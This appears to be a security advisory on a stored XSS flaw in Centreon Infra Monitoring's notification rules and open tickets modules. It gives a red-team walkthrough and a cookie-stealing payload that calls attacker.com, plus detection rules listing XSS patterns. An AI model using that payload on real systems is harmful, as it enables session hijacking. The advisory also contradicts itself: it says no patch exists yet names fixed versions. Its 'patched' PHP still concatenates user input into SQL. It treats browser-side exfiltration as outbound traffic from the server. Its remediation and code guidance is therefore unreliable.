CVE-2025-8460

Executive Summary

CVE-2025-8460 is a stored Cross-Site Scripting (XSS) vulnerability in Centreon Infra Monitoring, specifically within the Notification rules and Open tickets modules. This vulnerability allows users with elevated privileges to inject malicious scripts that are stored on the server and executed in the context of other users' browsers. The flaw affects Centreon Infra Monitoring versions 23.10.0 before 23.10.4, 24.04.0 before 24.04.5, and 24.10.0 before 24.10.5. The CVSS score is 6.8 (Medium), and the EPSS score is 0.0%, indicating a low probability of exploitation in the wild. No public proof-of-concept (PoC) or exploit code is available at this time. The vendor has not yet released a patch.

Supply Chain & Package Security

This vulnerability is not related to any specific package manager (NPM, PyPI, Go, Ruby). It is a web application vulnerability in the Centreon monitoring platform.

CVSS Breakdown & Threat Level

• CVSS Score: 6.8 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): High (H) - An attacker must have elevated privileges (e.g., administrator or operator role) to inject the malicious script.
• User Interaction (UI): Required (R) - The victim must interact with the malicious content (e.g., view the notification rule or open ticket).
• Scope (S): Changed (C) - The impact extends beyond the vulnerable component, affecting other users.
• Confidentiality (C): Low (L) - Limited information disclosure.
• Integrity (I): Low (L) - Limited ability to modify data.
• Availability (A): Low (L) - Limited impact on availability.

Threat Level: Medium. The requirement for elevated privileges reduces the attack surface, but the stored XSS nature can lead to session hijacking, data theft, or further compromise of the Centreon instance.

Deep Dive & Mechanics

The vulnerability resides in the improper neutralization of user input within the Notification rules and Open tickets modules of Centreon Infra Monitoring. When a user with elevated privileges creates or edits a notification rule or an open ticket, the application fails to sanitize or encode the input before storing it in the database. When another user (or the same user) views the affected rule or ticket, the stored malicious script is executed in their browser.

Attack Flow:

1. An attacker with elevated privileges (e.g., an administrator) logs into Centreon.
2. The attacker navigates to the Notification rules or Open tickets module.
3. The attacker injects a malicious JavaScript payload into a field (e.g., rule name, description, ticket comment).
4. The payload is stored in the database without proper sanitization.
5. A victim (e.g., another administrator or operator) views the affected rule or ticket.
6. The victim's browser executes the malicious script, potentially stealing session cookies, redirecting to a phishing page, or performing actions on behalf of the victim.

Root Cause: The application does not implement proper output encoding or input validation for user-supplied data in these specific modules. This is a classic stored XSS vulnerability (CWE-79).

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern and the expected fix.

Vulnerable Code (Conceptual):

// Vulnerable: Directly storing user input without sanitization
$rule_name = $_POST['rule_name'];
$query = "INSERT INTO notification_rules (name) VALUES ('$rule_name')";
mysqli_query($conn, $query);

Patched Code (Expected):

// Patched: Sanitize input before storage
$rule_name = htmlspecialchars($_POST['rule_name'], ENT_QUOTES, 'UTF-8');
$query = "INSERT INTO notification_rules (name) VALUES ('$rule_name')";
mysqli_query($conn, $query);

The patched code uses htmlspecialchars() to encode special HTML characters, preventing script execution. Additionally, output encoding should be applied when displaying the data.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Centreon instance with a user account that has elevated privileges (e.g., administrator).
• The vulnerable Centreon version (23.10.0-23.10.3, 24.04.0-24.04.4, or 24.10.0-24.10.4).

Exploitation Steps:

1. Log in to Centreon with an elevated account.
2. Navigate to Configuration > Notifications > Rules (or Open Tickets module).
3. Create a new notification rule.
4. In the "Rule Name" field, inject the following payload:

   <script>alert('XSS')</script>
   

5. Save the rule.
6. As a different user (or the same user), navigate to the list of notification rules.
7. The injected script will execute, displaying an alert box.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team

Detection:

• Monitor for unusual characters in notification rule names, descriptions, or ticket comments.
• Look for outbound connections to unknown domains from the Centreon server.
• Review web server logs for requests containing <script> tags or other HTML/JavaScript patterns.

Prevention:

• Implement strict input validation and output encoding for all user-supplied data.
• Use Content Security Policy (CSP) headers to restrict script execution.
• Apply the principle of least privilege to user accounts.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP/HTTPS requests to unknown or suspicious domains from the Centreon server.
  • Requests containing encoded or obfuscated JavaScript in POST parameters.
• Host:
  • Unusual entries in the Centreon database (e.g., notification rules with <script> tags).
  • Modified or new files in the Centreon web directory (e.g., /usr/share/centreon/www/).
• Logs:
  • Web server logs showing requests with %3Cscript%3E (URL-encoded <script>).
  • Application logs indicating failed input validation attempts.

Detection Engineering

YARA Rule

rule CVE_2025_8460_Centreon_XSS {
    meta:
        description = "Detects stored XSS payloads in Centreon notification rules or open tickets"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-8460"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['"].*?['"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Centreon Stored XSS in Notification Rules
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential stored XSS attempts in Centreon notification rules or open tickets
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-8460
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains:
            - '/centreon/api/'
            - '/centreon/include/'
        cs-uri-query|contains:
            - 'notification'
            - 'open_ticket'
        sc-status: 200
    keywords:
        - '<script'
        - 'onload='
        - 'onerror='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in notification rules (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-8460 Centreon Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/centreon/"; http_uri; content:"<script"; nocase; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Centreon Infra Monitoring to a patched version once available (24.10.5, 24.04.5, or 23.10.4).
2. Restrict elevated privileges to only trusted users.
3. Enable Web Application Firewall (WAF) rules to block XSS payloads.
4. Implement Content Security Policy (CSP) headers to mitigate script execution.

Long-term Measures:

• Conduct regular security audits and penetration testing.
• Train administrators on secure coding practices.
• Monitor for new patches and apply them promptly.

Workaround (if patching is not possible):

• Disable the Notification rules and Open tickets modules if not required.
• Manually review and sanitize all user input in these modules.

Valters IT
Securing Your Digital Infrastructure